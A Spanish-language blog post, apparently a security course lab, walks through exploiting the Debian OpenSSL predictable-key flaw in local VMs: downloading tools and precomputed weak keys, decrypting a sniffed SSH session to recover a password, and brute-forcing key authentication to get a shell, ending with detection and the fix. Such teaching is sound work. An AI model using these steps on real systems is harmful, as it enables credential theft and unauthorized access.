Laboratorio práctico de explicación de la vulnerabilidad de libssl en Debian.

En Abril de este año comencé a dictar los laboratorios y algunas clases teóricas del curso de Seguridad de la Información y Auditoria de Sistemas armado por la gente de i-sec .

El viernes 11 de Julio dí un laboratorio que surgió a partir de una clase anterior (MT-11) dictada por Sebastian Bortnik en la que explicaba "Encriptación / Certificados Digitales" entre otros temas.

La idea es explicarlo paso a paso y ver de forma totalmente práctica como aprovechar la vulnerabilidad de Openssl (DSA-1571-1) descubierta por Luciano Bello en todas sus formas.

Se puede dividir en dos partes principales:

Descifrar una comunicación SSH v2 para obtener usuario y contraseña y

Obtener una shell a partir de un bruteforce con todas las claves generadas previamente

 

Armado del Laboratorio

El laboratorio se va armar en base a Virtual Machines de VMware usando Ubuntu 8.04 (Ubuntu está basado en Debian).

Descargar la Virtual Machine de Ubuntu 8.04 Desktop y la Virtual Machine de Ubuntu 8.04 Server desde el sitio de Vmware Appliance.

Descargar VMware Player.

Asumo que el lector tiene un manejo de VMware Player por lo que ovbiaré algunos pasos de configuración e inicio de las Virtual Machines (de ahora en mas las llamaré VM).

Se configuran las 2 VM (Ubuntu Desktop y Server) para usar una placa de red de tipo NAT, solo a modo de practicidad.

En Ubuntu Server y Ubuntu Desktop se asigna una ip por dhcp ejecutando:

sudo dhclient

En mi caso las ip son:

IP Ubuntu Server: 192.168.230.143

IP Ubuntu Desktop: 192.168.230.144

 

El usuario y contraseña con los que vienen las dos VM es user/user. Lo vamos a cambiar por uno que sea mas visible a la hora de ver los paquetes capturados con el sniffer.

Cambiar el password a Ubuntu Server ejecutando:

passwd

Ingresar el actual password:

user

Ingresar el nuevo password:

superpassword

 

Configurar ahora Ubuntu Desktop para que no se actualice y que solo se descarguen los paquetes correspondientes a la versión 8.04 y no los paquetes más nuevos.

Ir a "System -> Administration -> Synaptic Package Manager", luego al Menu "Settings/Preferences"

Modificar solo estas dos pestañas que se muestran a continuación, las demas no tienen importancia y se pueden dejar como estan por defecto.

Synaptic General

 

Synaptic Distribution

 

Ir a "System -> Administration -> Synaptic Package Manager", luego al Menu "Settings/Repositories"

Modificar la configuración de las siguientes tres pestañas, las demás no tienen importancia y se pueden dejar como están por defecto:

Repositories Ubuntu Software

Repositories Third-Party Software

Repositories Updates

 

Instalamos librerias y programas necesarios en Ubuntu Desktop.

Necesitamos libssl para ruby, libssl-dev, gcc/g++, dependencias de python, wireshark y tcpick

sudo apt-get install libopenssl-ruby libssl-dev gcc g++ python-crypto python-paramiko wireshark tcpick

Descargamos ssh_decoder y ssh_kex_keygen en /home/user:

wget http://www.cr0.org/progs/sshfun/ssh_decoder-1.0.tar.bz2
wget http://www.cr0.org/progs/sshfun/ssh_kex_keygen-1.1.tar.bz2

Descomprimimos:

tar -xvjf ssh_decoder-1.0.tar.bz2
tar -xvjf ssh_kex_keygen-1.1.tar.bz2

Compilamos ssh_kex_keygen-1.1

cd ssh_kex_keygen-1.1 ; make

Copiamos todos los archivos necesario al $HOME

cp ssh_decoder-1.0/ssh_decoder.rb /home/user
cp -r ssh_kex_keygen-1.1/*/home/user

Descargamos un script de la gente de WarCat team para hacer brute force:

wget http://www.ulises2k.com.ar/files/ssh_bruteforce.py.tar.gz ; tar -xvzf ssh_bruteforce.py.tar.gz

Descargamos dowkd.pl, una tool realizada por la gente del security team de Debian.

La he modificado levemente para mostrar algunos datos de las claves.

wget http://www.ulises2k.com.ar/files/dowkd.tar.gz ; tar -xvzf dowkb.tar.gz

Descargamos todas las llaves públicas y privadas pre-computadas desde el sitio de HD Moore:

wget http://sugar.metasploit.com/debian_ssh_rsa_2048_x86.tar.bz2

descomprimimos

tar -xvjf debian_ssh_rsa_2048_x86.tar.bz2

Ya tenemos todas las herramientas instaladas.

 

Descifrar una comunicación SSH v2 para obtener usuario y contraseña

Desde la versión de OpenSSL 0.9.8c-1 hasta la 0.9.8c-4 (sin incluir esta última) son vulnerables en Debian Etch y hasta la versión 0.9.8g-9 (sin incluir esta última) son vulnerables en Debian Lenny/Sid al fallo de DSA-1571-1

En nuestro Ubuntu server tenemos instalado la versión Openssl 0.9.8g-4, la obtenemos ejecutando:

apt-cache show openssl


Ahora vamos a "sniffear" la conexion entre Ubuntu Desktop y Ubuntu Server con el wireshark y la guardamos en un archivo .cap para luego descifrarlo.

Ejecutamos Wireshark dentro de Ubuntu Desktop como root:

sudo wireshark

Configuramos Wireshark para "sniffear" la placa de red, en este caso se llamará eth1.

Wireshark

Presionamos el botón "Start" y comienza a "sniffear".

Aplicamos un filtro para capturar solo el trafico ssh, para eso escribir en "Filter" , "ssh", se debe poner todo el textbox de color verde indicando que estamos colocando un filtro correcto.

Abrimos una terminal desde "Applications->Accesories->Terminal"

Nos conectamos al Ubuntu Server usando solamente el protocolo v2 de ssh ejecutando:

ssh -2 user@192.168.230.143

Nos autenticamos con password "superpassword", luego escribimos:

echo "Esto es un comando ejecutado desde el server"

exit

Ahora ya tenemos capturado todo el tráfico de inicio de sesión y finalización de una conexión ssh con el Wireshark.

Vamos al Wireshark al menú "Capture->Stop" para detener la captura.

Comprobamos que hay tráfico capturado como vemos en la siguiente imagen:

Guardamos la captura con "File->Save As..."

En el campo "Name:" ponemos "/home/user/ssh.cap"

Seleccionamos "All packets" , "Displayed" y presionamos "Save"

Ahora tenemos todo nuestro tráfico ssh guardado en "/home/user/ssh.cap"

 

Vamos a usar un script de Raphaël Rigo con el cual me puse en contacto para preguntarle sobre un error que tuve cuando quería usar el script ssh_decoder

El problema ocurrio porque había capturado el tráfico con

sudo tcpdump -i eth1 port 22 -w debian2.cap

y luego al momento de desencriptar el tráfico el script ssh_decoder arrojaba el siguiente error:

ssh_decoder.rb:324: undefined method `[]' for nil:NilClass (NoMethodError)

Raphaël
me dijo que usara Wireshark ya que el tcpdump me estaba truncando los paquetes.

Volviendo al tema, ejecutamos :

tcpick -wRC -wRS -r /home/user/ssh.cap

Esto nos va a mostrar algo así:

Starting tcpick 0.2.1 at 2008-07-24 00:04 EDT
Timeout for connections is 600
tcpick: reading from ssh.cap
1 SYN-SENT 192.168.230.144:43370 > 192.168.230.143:ssh
1 SYN-RECEIVED 192.168.230.144:43370 > 192.168.230.143:ssh
1 ESTABLISHED 192.168.230.144:43370 > 192.168.230.143:ssh
1 FIN-WAIT-1 192.168.230.144:43370 > 192.168.230.143:ssh
1 TIME-WAIT 192.168.230.144:43370 > 192.168.230.143:ssh
1 CLOSED 192.168.230.144:43370 > 192.168.230.143:ssh
tcpick: done reading from ssh.cap

83 packets captured
1 tcp sessions detected

y va a crear dos archivos:

tcpick_192.168.230.144_192.168.230.143_ssh.clnt.dat
tcpick_192.168.230.144_192.168.230.143_ssh.serv.dat

ssh_kex_keygen recupera el secreto compartido calculado durante el intercambio de Diffie Hellman en una las comunicaciones SSH y solamente funciona si uno de los extremos es vulnerable a Openssl PRNG.

ssh_decoder puede descifrar una sesión SSH capturada cuando uno de los extremos tiene la vulnerabilidad anteriormente mencionada.

Ahora finalmente desciframos la sesión:

ruby ssh_decoder.rb tcpick*

Y obtenemos nuestro preciado usuario y contraseña:

* read handshake
cipher: aes128-cbc, mac: hmac-md5, kex_hash: sha256, compr: none
* bruteforce DH
DH shared secret : 00882543476f10176cba6f108377b95e2d1edef5b3277d969704e4484900d0a8c36aa4ce08d2f4531bb5f6ae3d0534fb0301620467973a9d9e0b5afc402f1ce57ac1958f926425e5673b3ced5ce95b857681cae27d2bc83ac201fcfd7a7f1d80c4a8f6e659cfa2c66934ee8457784f77b1f262e157510a403417ee0cf0e3644ad2
* derive keys
* decipher streams
* successful authentication packet
{:username=>"user",
:nextservice=>"ssh-connection",
:auth_method=>"password",
:change=>0,
:password=>"superpassword"}
* deciphered streams saved to "sshdecrypt.0.client.dat" & "sshdecrypt.0.server.dat"

Y podemos ver todo el tráfico en texto plano:

less sshdecrypt.0.server.dat
less sshdecrypt.0.client.dat

 

¿Donde puede ser usada esta vulnerabilidad?

Se puede usar por ejemplo cuando se ha comprometido un servidor por X vulnerabilidad y por la cual la persona maliciosa obtiene por elevación de privilegios o no, privilegios de root e instala luego un rootkit o troyano para garantizar su acceso.

La persona maliciosa captura una sesión de ssh y obtiene las credenciales de ingreso y puede independizarse del rootkit o troyano.

 

Obtener una shell a partir de un bruteforce con todas las claves generadas previamente

Ssh se puede configurar para autenticar por medio de un par de claves pública/privadas para esto hay que realizar los siguientes pasos:


ssh-keygen -t rsa

copiar la clave publica al servidor ssh al cual se quiere autenticar luego:


ssh-copy-id user@192.168.230.143

Ahora nos podemos autenticar sin escribir usuario y contraseña:


ssh user@192.168.230.143

Con esto logramos que el método anterior de sniffear la comunción para obtener usuario y contraseña quede inaplicable, pero vamos a ver como haciendo bruteforce podemos obtener una shell.

 

Renombramos o borramos nuestra clave privada para no poder autenticarnos automaticamente, en este caso vamos a renombrarla:

mv $HOME/.ssh/id_rsa $HOME/.ssh/id_rsa.priv

Ejecutamos el script de bruteforce de ssh con los parámetros necesarios:

python ssl_bruteforce.py /home/user/rsa/2048 192.168.230.143 user 22 4

Y comienza el ataque del cual podemos estar seguros que si el servidor tiene al menos una clave pública débil en /home/user/.ssh/authorized_keys vamos a obtener un shell con toda seguridad ya que tenemos todas las claves privadas de rsa a 2048 bits dentro de rsa/2048

-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org
d00be1be9c996d2cde7c73c8cd9e9c3c-30861
d4cede93dfb410ae9f5d62e8e1811117-32109
d00a82e0eda4f2d49246448521a93b16-19844
d003083366ef75998a6ade46d8d4b52c-23659
d00bfa4a84ad64724638e619151c0449-10653
d00356ebd65d1a25191e8f05c4464c4c-23823
d00b8cfb9eb7d4f6fec8a98ac64994c1-15343
617509675aadd761ef72939d7699e139-11798
d00353b7c3b45c4f4d9eb4e594068f11-24307
d00384ca4a0ae097f5d61035da08fdf4-11578
d008c1ead01a61d1964c59734a7fea63-15032

Key Found in file: 617509675aadd761ef72939d7699e139-11798
Execute: ssh -luser -p22 -i /home/user/rsa/2048/617509675aadd761ef72939d7699e139-11798 192.168.230.143

Cuando la clave sea encontrada nos mostrará el nombre del archivo con la clave privada correspondiente a la clave pública localizada en $HOME/.ssh/authorized_keys en el servidor.

Ejecutamos entonces:

ssh -luser -p22 -i /home/user/rsa/2048/617509675aadd761ef72939d7699e139-11798 192.168.230.143

Y comprobamos efectivamente que nos autenticamos en el servidor y obtenemos una shell.

 

El script dowkb.pl es una muy buena tool para saber si tenemos una llave pública/privada débil

Comprobamos si nuestro servidor tiene una clave pública débil con:

./dowkd.pl host 192.168.230.143

Por supuesto en este caso comprobamos que si

1a:f9:d2:35:13:63:68:27:8a:ca:ca:09:6b:62:0f:63
192.168.230.143: weak key (OpenSSH/dsa/1024)
ssh-dss AAAAB3NzaC1kc3MAAACBAJoNM1CeT7Axj+YAM3ZhWh7o97ICn54G3EAqOIzYg2dX5pYQQ9KIYdyalTAg2adFBu6E8aZOni05PEzaDZbTHdBKuoO9B4zDBhvJw6ud/FFQpmrAIAIuNAK4QB05NbzHU3XOjNM0wxiELb+Hm5bmTT2ebTulZv17MBf4O6VLepk9AAAAFQDiMYZ7I5JvYMZUSgvRX5+e522jdQAAAIB7lraR7CyTfp7WRky6JrQZkphNbvf1pwxgAJhWZ/v8xdirWKtvveB/H5lhXgbPFWneQ3hGKg48BShAvcaY0QLqhBB9iahT6MmekQES+fEYr972coUi5+LMjkKGArt0nkjNBJ7Wtk9jsUe0R+6pA6OvQ70ULgQ3BL8KwYJFD4POMwAAAIBGaXas6exFJlee/gLKuVKJIi56DZChxr48yWtEMpMby4RdPGm+QfnPI2HGx4q2DHRPVrHVBixKJQelTWk29DU2pGWXFr55RApwGhrxXCx01JvkS7YAIBdvzw2wUD/82A8f69mP3oPaU8qRnGmvjo30KIP4KAU/yUfTVnjU5PJBsA==

c8:65:6c:ac:f3:4f:9a:8e:d8:b5:7e:e3:5b:3c:7d:aa
192.168.230.143: weak key (OpenSSH/rsa/2048)
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArchVhUYH1+GxrJszA36j+sp2AXGGzS/xbG81hLGuX2Vjve1kwXHuQZPhHjasbqTvGCf1H80XPnBM9KUlLMS3nDW9mt5+h+tUVgRzZnzAX3VRszH1ydgWXpNghV2tYrO+Q5AioGmyKdsNYab4PScduE83Yd6BGFyJ565nbCLvteHV+osfP4tFj7lER6xlwG6czTHLKub7jufbi0TBuaRVK/2ZBrGdd9H6tGE8LoM00/MJEZX6NEnmxHDpI+acY8O0bKE6K8jlF6mbTb8AvRKCRVE4rSxTtA7dHJ5b/DYVR0QS3Yk7zjfTUWZ6t9SbkEP21KvQxJEIoDpznj92OAuarw==

summary: keys found: 2, weak keys: 2

Atención, esto no quiere decir que en nuestro servidor tengamos un authorized_keys con una clave pública debil, si no, que la públic key que entrega el servidor ssh es débil, en este caso se puede aplicar el primer método explicado anteriormente.

Las claves pública/privadas débiles estan alojadas en el servidor en:

/etc/ssh/

y lo comprobamos haciendo:

cat /etc/ssh/ssh_host_rsa_key.pub

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArchVhUYH1+GxrJszA36j+sp2AXGGzS/xbG81hLGuX2Vjve1kwXHuQZPhHjasbqTvGCf1H80XPnBM9KUlLMS3nDW9mt5+h+tUVgRzZnzAX3VRszH1ydgWXpNghV2tYrO+Q5AioGmyKdsNYab4PScduE83Yd6BGFyJ565nbCLvteHV+osfP4tFj7lER6xlwG6czTHLKub7jufbi0TBuaRVK/2ZBrGdd9H6tGE8LoM00/MJEZX6NEnmxHDpI+acY8O0bKE6K8jlF6mbTb8AvRKCRVE4rSxTtA7dHJ5b/DYVR0QS3Yk7zjfTUWZ6t9SbkEP21KvQxJEIoDpznj92OAuarw== root@ubuntu804server

La cual es la misma detectada por dowkb.pl

 

Si queremos saber si en nuestro authorized_keys existe alguna clave débil ejecutamos:

./dowkd.pl file $HOME/.ssh/authorized_keys

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxXemh1Nrej7ruVphIe8IARPyXMTXszpQWDVNJIhoTUHlYgfRm+i8BkQKIXlrVQpM9UEt0jEP+Ne9+2104IScV/wL5qf3DkCHh0Aiwhzry74PljUziz/WywopGSY/8QRooCoVimhyMcfZ1ILCB3q2/3UB8/o9O4UgMEXG6DsHNoDUMLvjdqNLJtGDEa6fp5jh3mkZJLIVd02q5/w6hVh62sKhH0VC+hY5j9IDHorWweV7ZQXCOYiHw6+DUlauoIi6zy8fr0hpKKiG6yrG0aP/RfqnxfaccaEy1SBgWfgDUspCtVuL9QKef8R+5Illx4JMPtwIKTBow7SPUJDSbsLODQ==
61:75:09:67:5a:ad:d7:61:ef:72:93:9d:76:99:e1:39
.ssh/authorized_keys:1: weak key (OpenSSH/rsa/2048)
summary: keys found: 1, weak keys: 1

Y vemos efectivamente que es la misma clave con la que nos autenticamos anteriormente haciendo el bruteforce.

 

Solución

Actualizar principalmente el paquete openssl, todas las posibles versiones de programas vulnerables y regenerar todas las claves públicas/privadas débiles.

 

Agradecimientos

A mi novia por ayudarme con las correcciones ortográficas y por hacerme el aguante con todo esto.

A Openware e I-sec por permitirme dar estos laboratorios y clases donde uno aprende mucho más enseñando a los demás que leyendo y escribiendo.

A los que me dieron una mano y me felicitaron en la lista Forosi de Segu-info.(Carlos T., yaco, Alejandro, Adolfo F., Cristian B., Sebastian C., Javier, Jhon, Alejus, Javier M.)

A Raphaël por la ayuda en su script.

A los de la lista de Pen-test de securityfocus.com.

Y a los chic@s del curso, esto va dedicado a ellos.

 

Descargar documento


Enviado por Franck Alexander el 27 Julio, 2009 - 02:22. Criptografía IDEA

http://hermetic.ch/crypto/me6eman/07chap_4.htm (criptografía basada en algoritmo de resistencia de 500 bits)
http://xombra.com/descargando.php?link=366 (estudio matemático de algoritmos criptográficos)


Enviar un comentario nuevo

El contenido de este campo se mantiene como privado y no se muestra públicamente.
  • Saltos automáticos de líneas y de párrafos.

Más información sobre opciones de formato

CAPTCHA
Escribe el resultado de la operación matemática
14 + 4 =
Solve this simple math problem and enter the result. E.g. for 1+3, enter 4.